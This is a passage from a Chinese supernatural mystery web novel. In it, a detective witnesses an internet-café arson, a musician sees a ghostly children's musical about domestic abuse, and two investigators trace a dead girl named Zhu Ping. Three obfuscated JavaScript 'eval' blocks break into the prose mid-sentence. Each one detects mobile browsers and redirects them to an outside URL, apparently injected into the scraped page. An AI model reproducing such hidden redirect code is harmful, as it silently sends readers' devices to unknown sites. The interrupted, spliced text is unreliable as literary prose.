网管说:“咱也不知道里头有什么恩怨,肯定不敢管啊,后来我看那小子躺在地上半天不能动弹,怕出事就想报警叫救护车,结果那家伙死也不肯,后来是他自己往家里打了电话,说有人会来接,大概过了得有两小时,才有个女的找上门来。” “是那个朱平?” “应该不是,来的是个六十多的老太太,他们应该是祖孙俩。”网管挠了挠头说,“怎么说呢,我对老太太印象不好,一张嘴不是婊就是贱的,说什么要不是贱女人丢下自个儿儿子不管,跟着别的男人跑了,我的乖孙孙也不至于落到今天这个地步,被社会上的渣滓欺负什么的。” “老太太有没有提起她嘴里那个女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391031|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名字?”秋樰生有理由怀疑,那可能就是身份证上的朱平。 “没有。”网管摇头,“老太太可凶了,骂完女人骂我们,说她乖孙子被打是因为我们网吧管理不当放坏人进门,还想叫我们赔钱,呸,真是上梁不正下梁歪!” 秋樰生问:“还有别的值得注意的点没有?” 网管想了一下说:“有一个,不知道算不算。” “你说。” “那小子上次来的时候好像有点心不在焉,我跟他交代上机事项,他根本就没听进去,后来我听他旁边的熟客说,那小子一直在嘴里念叨着重生、复活、找到了什么的,怪瘆人的。” “重生?你是说,他提过重生这两个字?” “对,老客人说那小子嘀嘀咕咕,好像是在说自己找到了让人重生的方法。”网管说,“我寻思这不纯纯脑子有病吗,怪不得会被人揍,再说了,世上如果真有重生的方法,那整个世界不就乱套了?” 秋樰生默默想,其实已经乱套了,至少在这片区域,世界是乱套的。 网管说:“警官,我把知道的都告诉您了,他是不是犯了什么事儿了?” “不该问的别问。”秋樰生呵斥,后者做了个把嘴巴拉链拉上的手势:“那麻烦您赶紧把他带走吧,不然又指不定闹出什么事来……” 网管的话音戛然而止,突然一声惊呼:“你干什么!” 秋樰生一扭头,刚好看到少年被人泼了一身的水……不对,是汽油! 浓郁的汽油味道刹那间弥漫开来,不知什么时候网吧里进了个全身包裹严实的人,那人把点着的打火机往少年身上一扔,轰的一声,一团明亮的火光刹那间腾起。少年惨叫着变成了一个火人,在网吧里无头苍蝇一样乱撞,于是引燃了更多的东西。电线、鼠标、电脑主机、老旧的桌椅以及堆积满桌的零食泡面包装袋被火舌迅速吞没,整座网吧里的人都吓呆了。 “跑啊,往门外跑!”秋樰生大喊,几个上网的青年如梦初醒,跌跌撞撞地冲向门口。 然而,门外不知何时也蹿起了火苗,放火的人在逃跑时居然在门口地毯上也泼上汽油点了火,阻断了所有人的退路。 “灭火器在哪儿,厕所呢,水管在哪儿!”秋樰生大声喊叫,网管却呆若木鸡,像是被吓傻了。 网吧里一片混乱,火舌以燎原之势,迅速蔓延到各处,连成一片火海。秋樰生掏出手机拨打消防电话,手机那头却无声无息,宛如石沉大海。 秋樰生一把推开网管,脱下外套试图扑低面前的火势,开出一条生路,但网管被他一推,居然直挺挺地往后倒下,飞快地在火堆里烧成了一根人形焦炭。 痛苦的哀嚎声四处响起,又飞快失真,听起来像是不知名的化学物品在火中发生化学反应时发出的奇怪声响。 轰隆一声,墙壁坍塌,露出了通往外界的缺口,秋樰生大喊道:“快跳出去!”飞身跃出了火海。 秋樰生从二楼落到地面上,连着打了好几个滚,才扑灭了身上的火苗。他溅了一身泥水,无比狼狈地抬头看向网吧,那里已经烧成了一座明亮的火场,秋樰生看到有个人站在坍塌的墙边,身上带着火,朝他静静望过来。 “跳啊,快跳下来,刚下过雨,地上有水!”秋樰生高声大喊,那个火人却一动不动。 秋樰生看不清那个人的面貌,不知道为什么,他下意识地觉得,应该是那名少年。 整条街道一片安静,只有火焰发出哔哔啵啵的声响,吞没了王者至尊。 没有人来救火,火势也没有蔓延到其他地方。当最后一缕火苗熄灭的时候,秋樰生重新回到了网吧的废墟之中,在那里,他只看到了一具被烧得佝偻起来的尸体。 是那名用朱平的身份证上网的少年没错,他在秋樰生的面前又死了一次。 18.第18章 快乐的平平 方许恩再次睁开眼睛的时候,人已经不在柜子里了。他仰躺在地上,眼珠子骨碌碌转了一圈,果不其然又看到了那张小女孩的脸。 方许恩:“……” 方许恩两眼一闭,想再次昏过去,无奈他刚刚已经昏了两次了,这次怎么闭眼都昏不过去。最后,方许恩自己放弃了,揉着额头坐起身来,问:“你想干什么?” 小女孩扎着两个麻花辫,穿粉白条纹的T恤衫配蓝色背带裙,额头还别着两枚颜色鲜嫩的小花发卡,其实看起来挺可爱的,一点儿也不像别的小孩鬼那么恐怖。 小女孩说:“你醒啦?” 方许恩:“醒了。” 小女孩:“你还会再晕吗?” 方许恩:“短期内不会了。” “那就好。”小女孩站起身来,“外面的动静停了,我们应该安全了。” “哈?”方许恩这才想起外头原本还有个拿菜刀的怪物在作祟,他侧耳细听,果然房间门外一片安静,不论是那个怪物还是秦于理,似乎都已经离开了。 小女孩走到门口,踮起脚来去够门锁,方许恩吃惊:“你要干吗?” 小女孩被问懵了,说:“警报解除了,我当然要回去做我自己的事了。” “鬼有什么事做啊,杀人吗?”方许恩不解。 “可我不是鬼啊!”小女孩更不解。 “你不是?”方许恩更更更不解。 小女孩:“……” 方许恩的眼神似乎让小女孩很无奈,她踢踢踏踏跑回来,抓着方许恩的手摁到自己脸上:“你看,我是热的耶!” 方许恩感觉到了,小女孩不仅热乎乎的,小脸蛋还白里透红,气血充沛得很。 方许恩有点尴尬,他一个大男人居然被个小鬼头吓晕两次,脸都丢没了。方许恩说:“不是鬼你干吗不早说?” “我想说的时候,你就晕过去啦,两次都这样!”小女孩也挺委屈。 方许恩:“……那你躲在衣柜里干吗,黑灯瞎火的,冷不丁看到自己身旁多出张脸,换谁谁不怕!”方许恩胡搅蛮缠。 小女孩微微张大嘴巴:“可是是我先藏进衣柜里,你后面才躲进来的呢!” 方许恩回想了一下,脸一下子红了。确实是这样没错,他在反锁房门躲进衣柜后就一直用两手死死拽紧了柜门,后面根本没人能进来。 “就……就是因为这样,突然看到你冒出来才吓人啊!”方许恩努力维持自己剩下不多的成年男人的尊严,“你没事做躲在衣柜里干吗?” 小女孩说:“当然是跟你一样,在躲走廊上那个人!” 方许恩一愣:“那个人?你是说那个拿菜刀的黑黢黢的怪物是个人?!!” 小女孩迷惑不解地眨巴了下眼睛:“肖浩本来就是人啊,哦,你是不是说他长得很凶很吓人啊,那他是的。” 那玩意儿居然还有名字?方许恩觉得自己现在听到的一切都不可思议,但是小女孩的神情又不像是开玩笑…… “你……难道你认识他,我是说,那个肖浩?” “嗯。”小女孩说,“我躲进衣柜里就是为了躲他。” 方许恩后知后觉反应过来:“你的意思是,那玩……那个肖浩拿着菜刀凶神恶煞地出现,其实不是冲着我们,而是冲着你来的?” 小女孩再次点点头。 “肖浩讨厌我来剧院,所以我每次只能趁他不在家的时候偷偷过来,但不知道为什么,他每次都会很快发现。一发现他就生气,一生气他就会来剧院胡闹,把我抓回去,然后,他就会打我。” 小女孩说得轻描淡写,方许恩却听得眼皮直跳!神啊,这是什么样的鬼日子啊?他远远看一眼就吓得半死的怪物居然跟这么一个漂亮小姑娘住在一起还限制小姑娘的自由活动? 这还有王法吗?! 小女孩见方许恩神游天外,再次走到房门前,踮着脚尖熟练地打开门锁,小心翼翼从门背后往外探头看出去。过了一会儿,她像是松了一口气,这才把门扇完全打开:“他被你朋友引开跑远了,我们现在是安全的,你想去哪里就抓紧时间去吧,不然他一会儿说不定又绕回来!” 方许恩大惊:“那玩意儿还会杀个回马枪啊?” “因为我暂时还不会回去嘛!”小女孩看起来有点儿不好意思,“今天有彩排,我得参加。” “彩排?什么彩排?”方许恩一愣,“儿童音乐剧《野孩子》?” 小女孩摇摇头:“不是哦,我们排练的节目叫《平平的幸福生活》,我就是女主角平平。” “萍萍?”方许恩不由轻声重复了一遍。 “好了,你快走吧,我也要去忙啦,大家都等着我呢!”小女孩说着就要跑出去,却被方许恩两三步追上,拽住了手腕。 “等等!” “你还有什么事?哦,我知道了,你是不是怕不认识路?放心吧,他离开以后,这里的路就都走得通了,你顺着楼梯下去就行!” “我想看看你主演的音乐剧!”方许恩脱口而出,“呃,我的意思是,我其实是个音乐家,刚回国发展,今天来这里本来就是来取经的!我可以给你看我手机里存的表演视频!” 方许恩慌忙去掏自己的手机,小女孩却按住他的手:“不用啦,你想看就看,我们彩排又不卖票,走,我带你去剧场!” 于是,方许恩被一个七八岁的小女孩牵着手,带下楼,再次进入了剧院。 说来也奇怪,方许恩之前来检查的时候,整座剧院内除了舞台灯光亮着,室内空无一人,可此时不仅有十几个人正在剧院里忙活,就连舞台上的布景也已经搭建好了。 “这怎么可能!”方许恩自己也是这行的,很清楚一出剧的舞台搭建加灯光调试需要多久,但事实就摆在他的眼前。 “平平!”有人喊小女孩。 “哎,来了!”女孩子应了一声,对方许恩说,“我要去排练啦,后面没空关照你,你想看就随便找个位置坐,不想看,从大门就能出去,如果……” “如果?” “如果肖浩又回来,我会跟着他走的,你躲到旁边不要管就好,不然他会杀了你的!”小女孩说得一本正经,像个教育方许恩的长辈,这画面怎么看怎么诡异。 “那你呢?他不会杀你吗?” 小女孩说:“他只会打我。”那是一个似乎早已习以为常的回答,听着却让人觉得心惊肉跳。 “他打你,你不疼吗?”方许恩忿忿不平,“你明明还是个孩子!” “疼啊,不过忍忍就好了,要是反抗,他会更生气的,倒不如忍一忍,他总不至于会打死我。”小女孩居然还冲着方许恩绽开一个笑容,“好了,真的不说啦,我得去忙了!” 说着,她便像是一只粉色的百灵鸟扑棱着翅膀,飞向黑暗中那方明亮的舞台。 没过多久,彩排正式开始。方许恩找了个中间靠走道的位置坐下,聚精会神地观看这出儿童音乐剧。 剧目名称用了升降方式从顶上缓缓落下,五彩缤纷的气球状KT版上,用童趣字体写着“平平的幸福生活”几个大字。 不是萍萍,而是平平……方许恩马上联想到了楼下那块广告牌——“朱平创作,儿童音乐剧《野孩子》”,现在这个正在表演的小女孩平平与海报上的朱平之间难道有什么关系吗? 温柔的女声旁白响起:“很久很久以前,在美丽安宁的隀明村,有一个漂亮可爱喜欢唱歌的小女孩,她叫平平,看,她来了!” 伴随着轻快的音乐,小女孩平平蹦蹦跳跳地上场了,她手里挎着个小篮子,篮子里装着花束、牛奶和面包。 小女孩张嘴歌唱,这是音乐剧人物出场介绍自己的一种方式,她的声音清脆甘甜,十分动听,不过方许恩从她的发声方式来判断,觉得小姑娘应该没有接受过专业训练。 “大概这个儿童剧就是社区活动里的自娱自乐,所以非专业的也能登台。”方许恩想,这水平确实远远没到可以收钱卖票的程度,也不可能做成那么大的海报放在剧院门口宣传。 在心里默默将小女孩平平与创作者朱平区分开,方许恩接着看下去。 舞台上的布景逐渐丰富,美妙的音乐声中,剧目为观众展现了小女孩平平幸福快乐的童年生活。她有一对温柔和蔼的父母,他们有体面的工作,稳定的收入,总是为平平提供力所能及的最好条件,平平呢,她自己也很争气。女孩长得漂亮,唱歌好听,学习成绩也十分优秀,周围的老师同学和乡亲们都喜欢她。 平平捡了一只猫,又遇到了一条狗,猫叫大白,狗叫旺财,它们能够与平平对话,陪着平平到处冒险。 世界很大,对于平平这样一个小女孩来说,到处都是新鲜的风景。她和大白旺财一起去山谷里摘过野花,去河流上钓过小鱼,去森林深处寻找过传说中的宝藏,和臭名昭著的坏蛋交过锋,用谋略把坏蛋们打得落花流水……每一幕场景的最后,平平都会高声唱出自己的心声,像一只夜莺,用自己轻柔的歌声感染每一个沉浸舞台剧中的听众。这出剧的舞美做得很好,场景介乎真实虚幻之间,连方许恩这种行内人都看得啧啧称奇,不明白一台社区自娱自乐的舞台剧怎么能做到这种程度。 平平的生活是真的无比幸福,那种幸福是自由,是热烈,是被亲情、友情、世间一切美好感情包围滋润的恣意生长,是一个孩子所能想到的最好的成长历程。 平平就这样快乐且多彩地度过了一天又一天,某一天,平平父母早早出门上班去了,平平和大白旺财在家,扮家家酒,门外突然传来了敲门声。 像是呼应着某种巨大的转折,原本明媚的舞台灯全部瞬间关闭,一道道青紫色的电流开始在舞台天幕上乱窜。 平平听到了敲门声,问了声:“谁呀?”随后起身,打算去开门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398103|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“平平,轮到你演妈妈了。”大白说,用爪子按住了平平的小手。 “好累,不想玩办家家酒了,我们下棋吧!”旺财叼来了棋盘棋盒。 “笃笃笃”,门外的人坚持不懈,礼貌却执着地敲击门扇。 “有客人来了,我得先去开门。”平平说,拂开大白的肉爪,拍拍旺财的脑袋。 大白喵了一声,忽然蹿到平平跟前,拱起了背脊,尾巴上的毛在一瞬间炸开,旺财也张开嘴,用力咬住了平平的裤腿,似乎想要阻止她的动作。 “大白、旺财,你们怎么了?”平平惊讶极了,“有人在敲门,我得去开门。” “不能去喵,你什么也没听到喵!” “就是,汪汪,我们玩我们的就好!汪汪!” “可是……” “平平,请问平平在吗?”门外传来了年轻男人的声音。 平平为难极了。 “你们也听到了吧,有人来找我!”平平说着,从旺财嘴里抽出自己的裤管,又绕过拦在自己跟前的大白,“那个人认识我,我不能装没听见,我去给他开门,很快就回来!” “不要随便开门,坏东西进来了,就赶不走了!”大白和旺财齐声叫道,嘴里发出了成年男女的声音。 “不会的,我很聪明的!”小女孩平平对小伙伴们笑笑,她踢踢踏踏地跑到门口,还知道在客人面前要形象得体。在开门前,女孩子整理了自己的小裙子,重新别好了她的小花发卡,将两条麻花辫都理顺了放到胸前,然后才踮起脚,轻轻拧动门锁。 “平平,你怎么还不来开门,我找了你好久!平平!”声音逐渐失真,变得粗哑,平平手里的门锁已经拧到了最后一圈。 “呼——”一阵狂风吹过,剧院的大门突然发出砰的一声,打开后撞到墙壁上,阴冷的气息从外面排山倒海一样涌了进来。 “平平,我的平平,你怎么不听话,又来剧院了?”隆隆的声响里,巨大的黑影出现在剧院门口。 所有一切幻梦都像是肥皂泡一样瞬间破灭,刚刚还来来往往的工作人员和配角全都消失不见了,大白变成了一张贴纸,旺财不过是一只折纸小狗,它们飘到平平身边的地上,再也不能与女孩子一起欢笑一起歌唱,不能和她一起去更多地方冒险。 平平的幸福生活结束了! 方许恩浑身汗毛都竖了起来,他看到一个人高马大的男人举着菜刀,一步步走进来。这一次,他是人的样貌,但男人阴沉的神色让方许恩觉得这比之前的阴影怪物更可怕。 平平开始发抖,但她努力站在舞台上没有动。 “肖浩,你怎么来了,单位里的事都忙好了吗。我、我就是过来帮个忙,马上就回家了!” “帮忙?”男人的菜刀狠狠劈下来,迸溅出来的碎片是用泡沫板做的绿树红花的遗骸,“我告诉过你多少次了,我不喜欢我的女人抛头露脸,你是不是听不懂!” “我、我不是,我只是、只是……”平平的声音不知怎么变得成熟了,不再是个小女孩而是成年女人的声音,声音里充满了畏惧与惊慌。 男人伸出手,像老鹰抓小鸡一样将她提了起来,两人之间有着巨大的体型差距,宛如大象和小猫。 “这里到底有什么人值得你念念不忘,我一不留神你就往这儿钻?” “没有人,真的没有!我只是喜欢音乐,想来唱唱歌放松一下,家务我都做好了,我没有偷懒!”平平拼命摇头,原本白里透红的小脸蛋变得无比苍白,刚刚整理好的麻花辫完全散了,她头上的小花发卡也因为剧烈的摇头飞了出去,掉到地上。塑料小花从架子上落下来,发卡就这么坏了。 “唱歌放松?你还有脸放松?老娘身体不舒服你不照顾,儿子今天没去上学,老师都找上门来了,你告诉我你什么都不知道!!!”巨大的咆哮声在剧场内仿佛被无限倍放大,方许恩脑袋嗡的一声,下意识地捂住耳朵。 “走,跟我回去!老子每天辛辛苦苦上班赚钱养活你们,没一个给老子省心的!” 沉重的步伐在地上发出拖泥带水的浑浊声响,舞台上的灯光跳出闪电的节奏,水幕挂下,演绎着舞台上的瓢泼大雨,鼓风机将“平平的幸福生活”七个字吹落,各自分散掉落在地。 方许恩双手颤抖,眼睁睁看着那个巨大的阴沉的男人,提着女孩平平往门外走。经过方许恩那一排的时候,男人的一只眼珠子不正常地转到旁边看了方许恩一眼,跟着重重“呸”了一声,眼珠子又很快转了回去,压根没将方许恩放在眼里。 小女孩像是被抽走了所有灵魂,她一动不动,最后只是在离开剧院的时候,轻轻朝着舞台方向伸了伸手,像在告别。 “再见!” 再见,方许恩。 再见,演唱。 再见,舞台。 再见,我的幸福生活,我可爱的小伙伴们,还有,曾经的幸福女孩平平! 19.第19章 找到你了 “叭叭——”车喇叭声响起,秋樰生直起身,看到一辆丰田马自达开过来。 司机摇下车窗,问他:“哥们儿,劳驾问个路,出隀明市是打这儿走吗?” 秋樰生打量了一下车内,后座还有一个女人、一个小孩和一个老人,小孩在舔舐一根棒棒糖,女人疲倦的倚靠着车窗,老人则满脸慈爱地看着小孩,显然是祖孙三代。 “你们是外地来的吧。” “对,我们打算去姚河玩,中间错过一个高速路口,进了隀明市,不知怎么就迷路了,开半天也出不去。”司机抱怨,“你们这路修得也太不人性化了!” 秋樰生举起榔头敲了一下,黑色楔子笃的一声被他钉进泥地里,只露出了1/3的尖儿,隐隐似乎闪烁着暗红色的光芒。 “前面修路,不能走了,得绕路。”秋樰生随手一指,从那儿上高架,第三个口子下去以后从地上往东开,到了地方以后你再问别人吧。” “哎,好咧,谢谢您内!”司机冲秋樰生道了谢,飞快掉头,消失在视线中。 秋樰生用侦测器来回试了试,楔子外边是黄绿色,里边是红色,看起来污染范围还在扩大,但至少现在他没下错地方。 拿着工具回到车上,秋樰生发动车辆,继续前往下一个目标。 昨晚,秋樰生亲眼见证了一场网吧纵火案,见证了无名少年的又一次死亡,天明的时候他决定继续把没打完的楔子先打完,免得那些乱七八糟的污染持续扩大。 秦于理依然没找到,那名少年昨晚死了以后也还没再出现,但秋樰生判断,只要他继续在这地方转悠,试图阻止污染外泄,那些东西迟早还会自动找上门来。 秋樰生有种感觉,这里发生的一切像是一个循环,而他本人不知不觉也已经是循环里的一部分。 刚刚问路的司机一家,秋樰生其实已经见过他们两次了,但对方压根没有这方面的记忆,就像他们也压根没有注意到,时间其实在不停流转,小男孩嘴里的棒棒糖永远吃不完,他们家被困在隀明市也根本不是第一天了。 不知道还有多少的车辆、行人就这么无知无觉地被困在了这里,秋樰生也不知道他们离开自己视线以后去了什么地方。这片区域空间有限,根本不可能容纳下那么多的车辆行人,但它就是容纳下了,就像是看不见的城市深处还有个隐秘的空间,所有人和车排队上里面兜一圈,回头又从另一个出口回来。 “看来有段时间不能去吃回转小火锅了。”秋樰生自嘲地想。 等红灯的时候,他又给自己补充了半罐补剂,喝完这半罐,他手里还剩一罐半。赵萌萌一共给了秋樰生三罐补剂,第一次看到少年,他因为紧张喝了半罐;第二次是在雷雨中的桥下荒地里看到少年的尸体,他怀疑自己的眼睛,又喝了半罐;昨晚网吧大火以后,他忍住了没有第一时间喝,而是观察了一阵子自己的情况,现在,他边钉楔子边喝了新的半罐。 将剩下的补剂小心收好,秋樰生伸手到仪表盘里拿出一张塑料片看了起来。 那是一张身份证,朱平的身份证。 王者至尊网吧付之一炬,无名少年也被烧成了焦炭,不知道为什么,他裤兜里揣着的身份证却几乎完好无损。 “朱平,1984年4月4日,性别女,住址隀明市白渡区香河路112弄幸福小区32幢1栋403室。” 秋樰生清楚地记得白渡区已经被取消了,因为要打造以云上酒店为中心的新城地标,几年前,隀明市政府重新对辖区进行了规划,有些区合并,有些区撤销,相关区域的居民小区也进行了动迁,至于人都动迁去了哪里,得去当时负责动迁建设的单位查,而那些单位都不在云上酒店一带。 换言之,秋樰生拿到这么条线索,实在很难不说是老天跟他开了个玩笑。 秋樰生想找无名少年,朱平很可能是无名少年的母亲,根据身份证上的地址找到朱平应该就能了解到少年的不少事情,比如,在网上胡说八道具体指什么;比如,少年在他家人的现实生活中到底是活着还是死了;再比如,他在外网接触到的重生方法是什么,他又想让谁重生等等,总之,这应该是一根牵扯很多的线,可偏偏,线断了。 秋樰生有点心烦,砸了一下方向盘,车子发出“叭”的一声,把旁边车子的司机吓了一跳。 “有病吧你!”司机放下车窗骂。 秋樰生也放下车窗:“前面1.3公里有个修车铺,你记得去补胎。” “啥?”司机一脸懵逼,车子开出去一段,秋樰生才听到他在车里叫,“卧槽,右后胎的胎压怎么回事,我这是扎钉子了吗我?” 看,循环多了,秋樰生都记得好几张脸了。 秋樰生直行到十字路口,而后左转,再直行,下一个路口,右转,突然,放在副驾的侦测器毫无预警地叫了起来:“警报!警报!检测到高度污染,数值为70μl,请马上离开!” 秋樰生吓了一跳,先一脚油门蹿出去好大一截,等侦测器的报警声变轻变缓了,才敢停下车。先拿起补剂又干了好几口,再观察了手上的罗盘表一阵,确定没有大问题以后,他才小心翼翼地下车。 车子停在人行道边,旁边是一堵经过风吹雨打的脏兮兮的围墙,因为这两天下过雨,墙面还带着潮湿,根部长着青苔。往墙里头看,能看到高高低低的老旧房屋屋顶,这应该是个城中村。 “云上酒店附近还有这么个地方?”秋樰生想了一会儿,约摸推测这是某个被动迁后的工厂残留下的集体宿舍与当初本地农民的自建房,也不知道是拆迁款没谈拢还是别的什么原因,居然在这寸土寸金的市中心区域苟到今日。 一个买菜的大爷经过,好奇地打量秋樰生,毕竟很少见到这么漂亮的寸头大姑……哦不,是大小伙子。 秋樰生扭头看到大爷,赶紧上前询问:“大爷,我是过来找朋友的,迷路了,您是这个小区的住客吗?” “不是,我家还得坐一站地铁呢!你朋友怎么住这里?” 秋樰生察觉到大爷意有所指,他问:“这里有什么问题吗?” “问题可多了,房子破,人员杂,经常会出些乱七八糟的事,现在只有没子女的老人和图房租便宜的外来务工者住这里。” 秋樰生敏锐地抓住问题核心:“乱七八糟的事是指恶性犯罪事件吗?例如绑架撕票,朝活人泼汽油点火之类?” 大爷:“……” 再看秋樰生的时候,大爷目光都变了,他含含糊糊道:“哎呀我也不知道啊,我就是个路过群众,哦对,听说前阵子有个小姑娘跳楼死了,死得特别惨,我还有事,走了走了。”这么说着,大爷就飞快地溜走了。 “跳楼的女孩子?”秋樰生疑惑,这个小区里的污染和那个不停死活的无名少年没有关系吗? 不管怎样,这里肯定也得打个楔子。 秋樰生带上侦测器,徒步进入小区。这里压根没有门卫,只有一条条蛛网一般细又密的道路。房子大多低,各种违章建筑摩肩接踵,像是要互相吞噬掉对方。秋樰生觉得在这里生活,会有种被压到喘不过气来的感觉。 侦测器的数值跳动一直很平稳,接近50μl,虽然也很高了,但和刚刚那个突然跳出来大红数字完全是两个性质,还处在绿偏黄阶段。秋樰生努力回忆了一下刚刚在围墙外侦测器跳警时,围墙里头的建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402610|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筑外观,依稀记得那是一栋四层建筑。 他环视四周,很快,看到了不远处连在一起的三栋四层老房子。秋樰生飞快走过去,才发现那三栋楼前还有片水泥空地,像是以前有个院子,其中一块地上画了个白石灰圈,有个女人正蹲在那个圈圈边上,低头不知道在研究什么。 突然,侦测器撕心裂肺地哔了一声,引起了那人的注意。秋樰生手忙脚乱地想要调低音量,结果发现自己不会,还好一只带着半指手套还包了绷带的手比他更快伸过来,在那机器上一碰,机器哑巴了,只有鲜红的警示灯疯狂发亮。 “来了啊?”女人轻描淡写地说。 还是黑衣黑裤黑色齐耳短发,不过这次脚上穿了双风格十分惹眼的玫红色运动鞋,两只手上都戴了半指手套,仔细看,其中一只手似乎还受了伤,眼前的女人不是秦于理又是谁? “我还以为请不动秋队这尊大佛呢,赵萌萌这次出息了。” 秋樰生很不喜欢秦于理这种阴阳怪气的调调,他说:“念在同事一场,来给你送点装备,我可没打算给你们组干活。” “我同意,装备现在在哪儿?”秦于理伸手。 秋樰生有点被噎到,明明秦于理才是需要帮助的那个,她怎么还是那么嚣张? 秋樰生说:“东西在我车上,车在小区外面。” 秦于理点头:“我跟你去拿。” “不用打楔子吗?” “楔子?”秦于理看到秋樰生摊开的掌心中黑色的金属钉子,不由得勾起了唇角,“赵萌萌怎么跟你说的?” 秋樰生何其敏锐,立刻意识到里头八成有猫腻。赵萌萌告诉他楔子是确定重污染区域用的,当侦测器由绿跳红的时候,就需要在那里打入楔子,楔子启动后,会反馈坐标信息给赵萌萌,然后她再安排交通管制,防止更多人误入污染区。 这么说起来,这么大一块地,应该需要很多楔子,形成一个封闭式轮廓才对,可赵萌萌一共就给了秋樰生九根楔子,如果每根楔子有一定覆盖范围,那么连出来的污染区轮廓线显然会大幅度失真,这就跟描边一样,当然是点越密级,连出来的轮廓就越精细。何况,既然要封锁,为什么得是“人会坏掉”的红色区域才定位封锁,黄色区域一样危险啊,普通市民又没补剂喝。 秋樰生头脑风暴的时候,秦于理一声没吭,似乎她早就料到秋樰生一定会想通。 “这是定位污染中心坐标用的吧。”秋樰生得出结论。 “谈不上中心,但是重要的因果线节点,也就是当地曾经发生过影响因果的比较关键的事件。” 秋樰生说:“赵萌萌可以直说的,我也没那么不近人情,守护市民安危是警察的义务。” 秦于理的丹凤眼眼尾微微一抬,似乎有点意外秋樰生的答复:“她不是不信你,只是不能事先告诉你,告诉你了就扰动了因果线,你就未必找得到了。” “我找到了四个点,现在告诉我没关系了?” “嗯,你能找到两个以上,就说明很适合我们组,你的行动不会对因果线造成很大的扰动。” “倒也不用夸我。”秋樰生看了眼白圈,“那这里发生的事件是什么?” “有个叫朱平的高二女生因为网暴轻生死了。” 秋樰生点头:“我在小区外面听一个大爷讲起过……”他突然顿了一下,“朱平?” 秦于理眼神一凛,她按住秋樰生想要伸进裤兜的手说:“出去说!” 秋樰生虽然不明所以,还是点了点头,跟着她迅速离开。 没人注意到,阴郁的天空下,204门口站着的女人,面带思索地看着两人消失的方向。 20.第20章 香花医院 秦于理和秋樰生两人默契的沉默只维持到走出城中村为止,因为秋樰生远远就看到他停在路边的车挡风玻璃上居然多了张罚单。 秋樰生气急败坏地跑过去把那张罚单扯下来说:“污染区域里竟然还有人查乱停车,开罚单?!” 秦于理这会儿又不急了,慢吞吞走过来说:“污染区域又不是无序社会,一切还是在运作,你不是也在正常履行保护市民安危的天职?” 秋樰生:“……” 秋樰生真不知道秦于理那张嘴是怎么长的,气人的时候一戳一个准,而且回旋镖总是丢得飞快。他想反驳些什么,一扭头却看到秦于理的唇角微微上扬了几个像素点。 秋樰生有点意外,自从认识以来,这女人永远嚣张坚硬,一张拽拽的厌世脸,没想到也会微笑,不过,想想被嘲笑的是他本人,那个笑容好像也没那么好看了。 秦于理从后车窗往秋樰生的车子里头张望了一下,说:“开门。” 秋樰生一解锁车子,秦于理就打开后车门,直接坐了进去。 秋樰生:“?” 秋樰生探头进去:“你不是说……”话音戛然而止,因为他发现秦于理已经自顾自打开放在后座的背包,拿出污染防护服,开始换衣服。 秋樰生赶紧扭头,背对着秦于理。 秦于理边换衣服边说:“你先上车开起来,咱们不能在这里久留,还要去下一个地方呢。” 秋樰生莫名其妙:“你不是说同意我不参加这次行动?”他自己都没发现自己跟着秦于理用了“同意不参加”这几个字,仿佛秦于理已经成了他领导。 秦于理那边已经快速换好了裤子,此时正从套头衣服里把脑袋钻出来。她那一头齐耳黑短发因此变得乱糟糟的,无端削减了几分凌厉的气势,让她看起来有些稚嫩和柔软,不过一开口,就又变回了老样子。 “我同意啊,不过你都已经找到四个节点,深度进入到这段被污染的因果线了,就算我不带上你,你也一样跑不了。” 回想起那个反复在自己面前死了又活的无名少年,秋樰生噗的一声“笑”了,就是那种人无语到极点真的会笑的笑。 “你算计我?”秋樰生钻进驾驶座,关上车门,发动车子。 “我出门前也没想过会有这档子事,再说,你不念着同事一场,也算不到你头上,只能说是性格决定命运。”秦于理将她那头短毛扒顺了,靠在后座上,舒舒服服地感叹了一声,“还是干衣服好,下次要记得让萌萌把鞋子也带上。” 秋樰生从后视镜看到秦于理架起了二郎腿,玫红色的运动鞋在她脚上一晃一晃的,惬意得很。她开了罐补剂,又不知道从哪里摸出了本小本子,边喝边开始翻看起来。 两人已经离开城中村门口的道路,驶上了大路,秋樰生问她:“我们现在要去哪里?” “先去隀明大剧院接个人。” “谁?” “方许恩。” “方许恩?”秋樰生回想了一下,“是王洁琼案子里那个……那个……”有些话就在嘴边,秋樰生舌头滚了几圈,却就是说不出口。 “不用白费劲了,”秦于理说,“教化所的矫正已经开始,你作为深度参与过其中的人,记忆会受到影响。” “你难道不会?”秋樰生脱口反问。 “也会,不过比你受到影响的速度慢点,程度轻点。” “为什么?” “因为我是组长,比组员牛。” 秋樰生:“……” 